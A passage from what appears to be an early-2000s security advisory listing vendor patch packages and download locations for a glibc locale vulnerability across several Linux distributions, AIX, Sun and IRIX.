ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/nscd-2.1.3-10cl.i386.rpm For Caldera Systems: - OpenLinux Desktop 2.3 ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/ ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS RPMS/glibc-2.1.1-3.i386.rpm RPMS/glibc-devel-2.1.1-3.i386.rpm RPMS/glibc-devel-static-2.1.1-3.i386.rpm RPMS/glibc-localedata-2.1.1-3.i386.rpm SRPMS/glibc-2.1.1-3.src.rpm - OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0 ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/ ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS RPMS/glibc-2.1.3-4S.i386.rpm RPMS/glibc-devel-2.1.3-4S.i386.rpm RPMS/glibc-devel-static-2.1.3-4S.i386.rpm RPMS/glibc-localedata-2.1.3-4S.i386.rpm SRPMS/glibc-2.1.3-4S.src.rpm - OpenLinux eDesktop 2.4 ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/ ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS RPMS/glibc-2.1.2-7.i386.rpm RPMS/glibc-devel-2.1.2-7.i386.rpm RPMS/glibc-devel-static-2.1.2-7.i386.rpm RPMS/glibc-localedata-2.1.2-7.i386.rpm SRPMS/glibc-2.1.2-7.src.rpm For Slackware: ftp://ftp.slackware.com/pub/slackware/slackware-current/slakware/a1/glibcso.tgz ftp://ftp.slackware.com/pub/slackware/slackware-current/slakware/d1/glibc.tgz ftp://ftp.slackware.com/pub/slackware/slackware-current/slakware/des1/descrypt.tgz Users of Slackware 7.0, 7.1, and -current are strongly urged to upgrade to the new glibc packages in the -current branch. For SuSE Linux: ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/shlibs-2.1.3-154.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/7.0/d1/libc-2.1.3-154.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/7.0/d2/libd-2.1.3-154.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/libc-2.1.3-154.src.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/shlibs-2.1.3-154.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.4/d1/libc-2.1.3-154.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.4/d2/libd-2.1.3-154.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/libc-2.1.3-154.src.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/shlibs-2.1.2-47.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/d1/libc-2.1.2-47.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/d2/libd-2.1.2-47.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/libc-2.1.2-47.src.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/shlibs-2.1.1-29.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.2/d1/libc-2.1.1-29.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.2/d2/libd-2.1.1-29.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/libc-2.1.1-29.src.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/shlibs-2000.9.5-0.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.1/d1/libc-2000.9.5-0.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.1/d2/libd-2000.9.5-0.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/libc-2000.9.5-0.src.rpm ftp://ftp.suse.com/pub/suse/sparc/update/7.0/a1/shlibs-2.1.3-154.sparc.rpm ftp://ftp.suse.com/pub/suse/sparc/update/7.0/d1/libc-2.1.3-154.sparc.rpm ftp://ftp.suse.com/pub/suse/sparc/update/7.0/d2/libd-2.1.3-154.sparc.rpm ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/libc-2.1.3-154.src.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/shlibs-2.1.3-154.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.4/d1/libc-2.1.3-154.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.4/d2/libd-2.1.3-154.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/libc-2.1.3-154.src.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.3/a1/shlibs-2.1.2-47.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.3/d1/libc-2.1.2-47.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.3/d2/libd-2.1.2-47.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/libc-2.1.2-47.src.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/shlibs-2000.9.5-0.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.1/d1/libc-2000.9.5-0.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.1/d2/libd-2000.9.5-0.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/libc-2000.9.5-0.src.rpm ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/shlibs-2.1.3-154.ppc.rpm ftp://ftp.suse.com/pub/suse/ppc/update/6.4/d1/libc-2.1.3-154.ppc.rpm ftp://ftp.suse.com/pub/suse/ppc/update/6.4/d2/libd-2.1.3-154.ppc.rpm ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/libc-2.1.3-154.src.rpm All of these fixes are available in the CVS, or you can get them here: ftp://ftp.openwall.com/pvt/glibc-cvs-20000827-security-patches.tar.gz For Linux-Mandrake: Linux-Mandrake 7.0: 7.0/RPMS/glibc-2.1.3-16mdk.i586.rpm 7.0/RPMS/glibc-devel-2.1.3-16mdk.i586.rpm 7.0/RPMS/glibc-profile-2.1.3-16mdk.i586.rpm 7.0/SRPMS/glibc-2.1.3-16mdk.src.rpm Linux-Mandrake 7.1: 7.1/RPMS/glibc-2.1.3-17mdk.i586.rpm 7.1/RPMS/glibc-devel-2.1.3-17mdk.i586.rpm 7.1/RPMS/glibc-profile-2.1.3-17mdk.i586.rpm 7.1/SRPMS/glibc-2.1.3-17mdk.src.rpm Due to the recently publicized security holes in glibc, Trustix Secure Linux released new glibc packages. Although the security hole seems only to be a local one, all users of Trustix distributions are encouraged to install the new packages. The new packages are: glibc-2.1.3-10tr.i586.rpm glibc-devel-2.1.3-10tr.i586.rpm glibc-profile-2.1.3-10tr.i586.rpm nscd-2.1.3-10tr.i586.rpm URL: ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/ For Red Hat: ftp://updates.redhat.com/5.2/sparc/glibc-2.0.7-29.4.sparc.rpm ftp://updates.redhat.com/5.2/sparc/glibc-debug-2.0.7-29.4.sparc.rpm ftp://updates.redhat.com/5.2/sparc/glibc-devel-2.0.7-29.4.sparc.rpm ftp://updates.redhat.com/5.2/sparc/glibc-profile-2.0.7-29.4.sparc.rpm ftp://updates.redhat.com/5.2/alpha/glibc-2.0.7-29.4.alpha.rpm ftp://updates.redhat.com/5.2/alpha/glibc-debug-2.0.7-29.4.alpha.rpm ftp://updates.redhat.com/5.2/alpha/glibc-devel-2.0.7-29.4.alpha.rpm ftp://updates.redhat.com/5.2/alpha/glibc-profile-2.0.7-29.4.alpha.rpm ftp://updates.redhat.com/5.2/i386/glibc-2.0.7-29.4.i386.rpm ftp://updates.redhat.com/5.2/i386/glibc-debug-2.0.7-29.4.i386.rpm ftp://updates.redhat.com/5.2/i386/glibc-devel-2.0.7-29.4.i386.rpm ftp://updates.redhat.com/5.2/i386/glibc-profile-2.0.7-29.4.i386.rpm ftp://updates.redhat.com/5.2/SRPMS/glibc-2.0.7-29.4.src.rpm ftp://updates.redhat.com/6.2/sparc/glibc-2.1.3-21.sparc.rpm ftp://updates.redhat.com/6.2/sparc/glibc-devel-2.1.3-21.sparc.rpm ftp://updates.redhat.com/6.2/sparc/glibc-profile-2.1.3-21.sparc.rpm ftp://updates.redhat.com/6.2/sparc/nscd-2.1.3-21.sparc.rpm ftp://updates.redhat.com/6.2/i386/glibc-2.1.3-21.i386.rpm ftp://updates.redhat.com/6.2/i386/glibc-devel-2.1.3-21.i386.rpm ftp://updates.redhat.com/6.2/i386/glibc-profile-2.1.3-21.i386.rpm ftp://updates.redhat.com/6.2/i386/nscd-2.1.3-21.i386.rpm ftp://updates.redhat.com/6.2/alpha/glibc-2.1.3-21.alpha.rpm ftp://updates.redhat.com/6.2/alpha/glibc-devel-2.1.3-21.alpha.rpm ftp://updates.redhat.com/6.2/alpha/glibc-profile-2.1.3-21.alpha.rpm ftp://updates.redhat.com/6.2/alpha/nscd-2.1.3-21.alpha.rpm ftp://updates.redhat.com/6.2/sparcv9/glibc-2.1.3-21.sparcv9.rpm ftp://updates.redhat.com/6.2/SRPMS/glibc-2.1.3-21.src.rpm For TurboLinux: ftp://ftp.turbolinux.com/pub/updates/6.0/glibc-2.1.2-17S.i386.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/glibc-2.1.2-15S.i386.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/glibc-2.1.2-17S.src.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/glibc-2.1.2-15S.src.rpm IBM is working on the following fix which will be available soon: AIX 4.3.x: IY13753 Fix will not be provided for versions prior to 4.3 as these are no longer supported by IBM. Affected customers are urged to upgrade to 4.3, or higher. A temporary fix for AIX 4.3.x systems is available which ignores the NLSPATH environment variable. Note that pending standards compliance review, the actual APAR fix may or may not be implemented the same way. The temporary fix can be downloaded via ftp from: ftp://aix.software.ibm.com/aix/efixes/security/locale_format_efix.tar.Z Sun had multiple notifcations from customers. It has been escalated and is being addressed. Unfortunately, there are no immediate or temporary workarounds for this issue on IRIX. This issue can only be addressed with the installation of IRIX 6.5.10 overlay on top of IRIX 6.5.